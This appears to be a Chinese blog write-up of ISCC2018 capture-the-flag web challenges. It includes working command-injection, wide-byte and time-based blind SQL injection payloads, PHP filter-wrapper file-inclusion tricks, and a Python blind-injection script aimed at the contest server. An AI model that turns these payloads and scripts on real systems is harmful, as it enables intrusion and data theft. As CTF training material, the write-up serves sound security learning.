ISCC2018(web)

ISCC2018 web writeup (部分)

#web1:比较数字大小

只要比服务器上的数字大就好了

限制了输入长度,更改长度就好

 

#web2:

普通的代码审计,数组绕过

 

#web3:本地的诱惑

小明扫描了他心爱的小红的电脑,发现开放了一个8013端口,但是当小明去访问的时候却发现只允许从本地访问,可他心爱的小红不敢让这个诡异的小明触碰她的电脑,可小明真的想知道小红电脑的8013端口到底隐藏着什么秘密(key)?(签到题)

额……题目好像坏掉了,用的是XFF

 

 

#web4:你能跨过去吗?

如果你对xss了解的话,那你一定知道key是什么了,加油!

发现一段base64

 

解码处理后内容为:

<script>alert("key:/%nsfocusXSStest%/")</script>

但这并不是最终的flag,还需要将key提交,也就是这串字符:

/%nsfocusXSStest%/

 

 

#web5:一切都是套路

好像有个文件忘记删了

 

 

随手试了试index.php.bak,index.php.swp,index.php.txt

发现index.php.txt有内容

 

 

看代码是一个有$$引起的变量覆盖

文章:https://www.cnblogs.com/bmjoker/p/9025351.html有详细解释,所以直接构造就好

 

#web6:你能绕过吗?

没过滤好啊

 

点开之后一直以为是个注入,试了好久感觉不像是注入,看了下f这个参数,随手试了下文件包含,将f=articles改为f=index,页面响应很慢,应该是index里边有东西

 

尝试伪协议

 

php变为pHp试试

 

解码之后为:

<!DOCTYPE html>

<html lang="en">

<head>

    <title>导航页</title>

    <meta charset="UTF-8">

</head>

<body>

    <a href='index.php?f=articles&id=1'>ID: 1</href>

    </br>

    <a href='index.php?f=articles&id=2'>ID: 2</href>

    </br>

    <a href='index.php?f=articles&id=3'>ID: 3</href>

    </br>

    <a href='index.php?f=articles&id=4'>ID: 4</href>

    </br>

</body>

</html>

 

<?php

    #ISCC{LFIOOOOOOOOOOOOOO}

    if(isset($_GET['f'])){

        if(strpos($_GET['f'],"php") !== False){

            die("error...");

        }

        else{

            include($_GET['f'] . '.php');

        }

    }

   

?>

 

#web7

这里添加XFF不行,需要添加Client-ip

 

#web8:请ping我的ip 看你能Ping通吗?

我都过滤了,看你怎么绕。

这里用%0a绕过空格就行了

用ls一个个查找,在home下发现了flag,所以最后的payload为:http://118.190.152.202:8018/?ip=;%0acat /home/flag

 

#web9Please give me username and password!

 

随意给一个username参数之后,查看源代码会有提示

 

 

 

username用数组绕过,password用科学计数法绕过

 

#web10php是世界上最好的语言

听说你用php

 

Md5弱比较,网上百度两个字符串提交查询得到另一个页面

 

给一个超全局变量GLOBALS,打印所有变量的值

 

#web11SQL注入的艺术

经过测试,这是一个宽字节注入的题目,共有8个字段,显示位在2,4,7,然后一个个查就好了

Payload: http://118.190.152.202:8015/index.php?id=-1%df%27 union select 1,database(),3,4,5,6,7,8%23

Payload: http://118.190.152.202:8015/index.php?id=-1%df%27 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=0x62616a69%23

 

Payload: http://118.190.152.202:8015/index.php?id=-1%df%27 union select 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name=0x61646d696e73 limit 7,1%23

Payload: http://118.190.152.202:8015/index.php?id=-1%df%27 union select 1,flag,3,4,5,6,7,8 from admins%23

 

#web12:试试看

随意开火

查看源代码之后得到这样一个链接:

http://118.190.152.202:8006/show.php?img=1.jpg

应该也是个文件包含

但是试了下

img=php://filter/read=convert.base64-encode/resource=index.php

返回文件不存在,试了试

img=php://filter/read=convert.base64-encode/resource=1.jpg

确是可以正常显示

试了试

img=php://filter/read=convert.base64-encode/resource=1.jpg/resource=show.php

在源代码发现了show.php的内容

<?php

error_reporting(0);

ini_set('display_errors','Off');

 

include('config.php');

 

$img = $_GET['img'];

if(isset($img) && !empty($img))

{

    if(strpos($img,'jpg') !== false)

    {

        if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)

        {

            die('File not found.');

        }

 

        preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);

        if(isset($matches[1]))

        {

            $img = $matches[1];

        }

 

        header('Content-Type: image/jpeg');

        $data = get_contents($img);

        echo $data;

    }

    else

    {

        die('File not found.');

    }

 

}

else

{

    ?>

    <img src="1.jpg">

    <?php

}

?>  

原来是在匹配*.jpg,不存在则返回File not found

最终通过以下方法找到了flag

 

 

#web13Sqli

注注注

用户名输入:’or 1=1#,密码随便输入

发现提示normal user: 'or 1=1#

而正常输入用户名和密码则会提示账号或密码错误

Payload:

username=-1'or 1=1 union select 1,2,3#&password=111

提示:normal user: -1'or 1=1 union select 1,2,3#

Payload:

username=-1'or 1=1 union select 1,2,3,4#&password=111

提示:账号或密码错误

猜测有3个字段

Payload:

username=-1'or 1=1 union select 1,2,IF(MID((SELECT Schema_name from infOrmation_schema.schEmata limit 0,1),1,1)=binary('i'),1,sleep(5))#&password=111

页面正常返回

Payload:

username=-1'or 1=1 union select 1,2,IF(MID((SELECT Schema_name from infOrmation_schema.schEmata limit 0,1),1,1)=binary('a'),1,sleep(5))#&password=111

页面返回延时

知道了注入方法,就可以动手写脚本了

最后在数据库里找到了用户名:admin,密码md5解密后为:u4g009

登录之后发现并没有flag

以下是注入脚本:

import time

import requests

strs = "0123456789abcdefghijklmnopqrstuvwxyz{!@#$%^&*()_+.}"

strs1 = ""

for k in range(1,40):

      for i in strs:

             #payload = "-1'or 1=1 union select 1,2,IF(MID((SELECT Schema_name from infOrmation_schema.schEmata limit 2,1),1,%d)=binary('%s'),1,sleep(0.15))#" % (k,strs1+i)

             #payload = "-1'or 1=1 union select 1,2,IF(MID((select table_name from information_schema.tables where table_schema='mysql' limit 23,1),1,%d)=binary('%s'),1,sleep(0.15))#" % (k,strs1+i)

             #payload = "-1'or 1=1 union select 1,2,IF(MID((select column_name from information_schema.columns where table_name='news' and table_schema='sqli_database' limit 2,1),1,%d)=binary('%s'),1,sleep(0.15))#" % (k,strs1+i)

             #payload = "-1'or 1=1 union select 1,2,IF(MID((select pass from user where username='test' limit 0,1),1,%d)=binary('%s'),1,sleep(0.15))#" % (k,strs1+i)

             payload = "-1'or 1=1 union select 1,2,IF(MID((select kjafuibafuohnuvwnruniguankacbh from news limit 0,1),1,%d)=binary('%s'),1,sleep(0.15))#" % (k,strs1+i)

             data = {'username':payload,'password':'aaa'}

             url = "http://118.190.152.202:8011/"

             start_time = time.time()

             session = requests.Session()

             res = session.post(url,data)

             now_time = time.time()-start_time

             #print payload

             #print strs1

             if now_time < 0.15:

                    strs1 += i

                    #print payload

                    print strs1

                    break

      if len(strs1) < k:

             break

运行结果:

 

#web13Collide

那么长的秘钥,要爆破到什么时候啊

抓包查看

秘钥长度46位,显然爆破是不可能的,想到了hash长度扩展攻击

用hashpump

之后抓包修改提交

得到flag

#web14Only admin can see flag

查看源代码发现提示index.txt

内容如下:

<?php

include 'sqlwaf.php';

define("SECRET_KEY", "................");

define("METHOD", "aes-128-cbc");

session_start();

 

function get_random_iv(){

    $iv='';

    for($i=0;$i<16;$i++){

        $iv.=chr(rand(1,255));

    }

    return $iv;

}

function login($info){

    $iv=get_random_iv();

    $plain = serialize($info);

    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);

    $_SESSION['username'] = $info['username'];

    setcookie("iv", base64_encode($iv));

    setcookie("cipher", base64_encode($cipher));

}

function show_homepage(){

    if ($_SESSION["username"]==='admin'){

        echo '<p>Hello admin</p>';

        echo '<p>Flag is *************</p>';

    }else{

        echo '<p>hello '.$_SESSION['username'].'</p>';

        echo '<p>Only admin can see flag</p>';

    }

    echo '<p><a href="loginout.php">Log out</a></p>';

    die();

}

function check_login(){

    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){

        $cipher = base64_decode($_COOKIE['cipher']);

        $iv = base64_decode($_COOKIE["iv"]);

        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){

            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");

            $_SESSION['username'] = $info['username'];

        }else{

            die("ERROR!");

        }

    }

}

 

if (isset($_POST['username'])&&isset($_POST['password'])) {

  $username=waf((string)$_POST['username']);

  $password=waf((string)$_POST['password']);

  if($username === 'admin'){

        exit('<p>You are not real admin!</p>');

    }else{

        $info = array('username'=>$username,'password'=>$password);

        login($info);

        show_homepage();

    }

}

else{

  if(isset($_SESSION["username"])){

        check_login();

        show_homepage();

    }

}

?>

<!DOCTYPE html>

<html lang="en" >

<head>

  <meta charset="UTF-8">

  <title>Paper login form</title>

      <link rel="stylesheet" href="css/style.css">

</head>

<body>

  <div id="login">

  <form action="" method="post">

    <h1>Sign In</h1>

    <input name='username' type="text" placeholder="Username">

    <input name='password' type="password" placeholder="Password">

    <button>Sign in</button>

</div>

</body>

</html>

也是一道原题,CBC字节反转攻击

具体看http://p0sec.net/index.php/archives/99/

 

posted @ 2018-06-03 21:14  hell0_w  阅读(753)  评论(0编辑  收藏